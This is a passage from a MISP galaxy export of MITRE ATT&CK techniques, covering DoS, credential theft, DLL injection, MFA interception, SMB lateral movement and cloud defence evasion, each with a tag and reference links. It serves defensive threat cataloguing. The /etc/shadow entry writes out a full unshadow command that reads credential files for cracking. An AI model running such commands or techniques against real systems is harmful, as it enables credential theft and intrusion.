In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

The tag is: *misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499"*

Table 8225. Table References

Links
https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
https://attack.mitre.org/techniques/T1499
https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf

Credentials from Password Stores - T1555

Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"*

Table 8226. Table References

Links
https://attack.mitre.org/techniques/T1555
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Exfiltration Over Web Service - T1567

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are

already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"*

Table 8227. Table References

Links
https://attack.mitre.org/techniques/T1567

Exploitation for Client Execution - T1658

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Adversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution.

SMS/iMessage Delivery

SMS and iMessage in iOS are common targets through [Drive-By Compromise](https://attack.mitre.org/techniques/T1456), [Phishing](https://attack.mitre.org/techniques/T1660), etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required.

AirDrop

Unique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1658"*

Table 8228. Table References

Links
https://attack.mitre.org/techniques/T1658

Search Open Technical Databases - T1596

Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596"*

Table 8229. Table References

Links
https://attack.mitre.org/techniques/T1596
https://dnsdumpster.com/
https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
https://shodan.io
https://who.is/
https://www.circl.lu/services/passive-dns/
https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
https://www.sslshopper.com/ssl-checker.html

Modify Cloud Compute Infrastructure - T1578

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578"*

Table 8230. Table References

Links
https://attack.mitre.org/techniques/T1578
https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf

Gather Victim Identity Information - T1589

Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589"*

Table 8231. Table References

Links
https://attack.mitre.org/techniques/T1589
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/
https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/

https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/
https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/

Modify Cloud Resource Hierarchy - T1666

Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.

IaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.(Citation: AWS Organizations)(Citation: Microsoft Azure Resources)

Adversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim's compute resources without generating logs on the victim tenant.(Citation: Microsoft Peach Sandstorm 2023)(Citation: Microsoft Subscription Hijacking 2022)

In AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.(Citation: AWS RE:Inforce Threat Detection 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cloud Resource Hierarchy - T1666"*

Table 8232. Table References

Links
https://attack.mitre.org/techniques/T1666
https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html
https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-setup-guide/organize-resources
https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf

https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121
https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/

AutoHotKey & AutoIT - T1059.010

Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)

Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)

These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)

The tag is: *misp-galaxy:mitre-attack-pattern="AutoHotKey & AutoIT - T1059.010"*

Table 8233. Table References

Links
https://attack.mitre.org/techniques/T1059/010
https://www.autohotkey.com/docs/v1/Program.htm
https://www.autoitscript.com/autoit3/docs/intro/running.htm
https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html

SNMP (MIB Dump) - T1602.001

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in

order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001"*

Table 8234. Table References

Links
https://attack.mitre.org/techniques/T1602/001
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
https://www.us-cert.gov/ncas/alerts/TA18-106A

Logon Script (Windows) - T1037.001

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\Environment\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"*

Table 8235. Table References

Links
http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
https://attack.mitre.org/techniques/T1037/001
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx

Push-notification client-side exploit - T1373

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be

successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)

The tag is: *misp-galaxy:mitre-attack-pattern="Push-notification client-side exploit - T1373"*

Table 8236. Table References

Links
https://attack.mitre.org/techniques/T1373

Dynamic-link Library Injection - T1055.001

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"*

Table 8237. Table References

Links
https://attack.mitre.org/techniques/T1055/001
https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/

https://www.endgame.com/blog/technical-blog/hunting-memory
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

Exploit Public-Facing Application - T1190

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.(Citation: Recorded Future ESXiArgs Ransomware 2023)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"*

Table 8238. Table References

Links
https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/
https://attack.mitre.org/techniques/T1190

https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://cwe.mitre.org/top25/index.html
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://us-cert.cisa.gov/ncas/alerts/TA18-106A
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers
https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/

Untargeted client-side exploitation - T1370

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)

The tag is: *misp-galaxy:mitre-attack-pattern="Untargeted client-side exploitation - T1370"*

Table 8239. Table References

Links
https://attack.mitre.org/techniques/T1370

Non-Application Layer Protocol - T1095

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

In ESXi environments, adversaries may leverage the Virtual Machine Communication Interface

(VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host's backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095"*

Table 8240. Table References

Links
http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
http://support.microsoft.com/KB/170292
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1095
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Multi-Factor Authentication Interception - T1111

Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or

service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users' phones.(Citation: Okta Scatter Swine 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111"*

Table 8241. Table References

Links
https://attack.mitre.org/techniques/T1111
https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf
https://sec.okta.com/scatterswine
https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/

Host-based hiding techniques - T1314

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

The tag is: *misp-galaxy:mitre-attack-pattern="Host-based hiding techniques - T1314"*

Table 8242. Table References

Links
https://attack.mitre.org/techniques/T1314

Network-based hiding techniques - T1315

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315).

Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Network-based hiding techniques - T1315"*

Table 8243. Table References

Links

https://attack.mitre.org/techniques/T1315

Targeted client-side exploitation - T1371

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)

The tag is: *misp-galaxy:mitre-attack-pattern="Targeted client-side exploitation - T1371"*

Table 8244. Table References

Links
https://attack.mitre.org/techniques/T1371

Insecure Third-Party Libraries - T1425

Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.

For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Insecure Third-Party Libraries - T1425"*

Table 8245. Table References

Links
https://attack.mitre.org/techniques/T1425

Exploit public-facing application - T1377

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).

The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit public-facing application - T1377"*

Table 8246. Table References

Links
https://attack.mitre.org/techniques/T1377

Search Victim-Owned Websites - T1594

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).

In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594"*

Table 8247. Table References

Links
https://attack.mitre.org/techniques/T1594
https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a
https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/
https://www.theregister.com/2015/05/19/robotstxt/

/etc/passwd and /etc/shadow - T1003.008

Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information, including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

Linux stores user information such as user ID, group ID, home directory path, and login shell in <code>/etc/passwd</code>. A "user" on the system may belong to a person or a service. All password hashes are stored in <code>/etc/shadow</code> - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)

Adversaries may attempt to read or dump the <code>/etc/passwd</code> and <code>/etc/shadow</code> files on Linux systems via command line utilities such as the <code>cat</code> command.(Citation: Arctic Wolf) Additionally, the Linux utility <code>unshadow</code> can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command <code>/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>(Citation: nixCraft - John the Ripper). Since the user information stored in <code>/etc/passwd</code> are linked to the password hashes in <code>/etc/shadow</code>, an adversary would need to have access to both.

The tag is: *misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008"*

Table 8248. Table References

Links
https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/
https://attack.mitre.org/techniques/T1003/008
https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html

SMB/Windows Admin Shares - T1021.002

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

The tag is: *misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002"*

Table 8249. Table References

Links
http://support.microsoft.com/kb/314984
https://attack.mitre.org/techniques/T1021/002
https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem
https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts
https://en.wikipedia.org/wiki/Server_Message_Block
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
https://technet.microsoft.com/en-us/library/cc787851.aspx

Disguise Root/Jailbreak Indicators - T1630.003

An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)

The tag is: *misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1630.003"*

Table 8250. Table References

Links
http://pages.cs.wisc.edu/}vrastogi/static/papers/rcj13b.pdf
http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions
https://attack.mitre.org/techniques/T1630/003
https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf
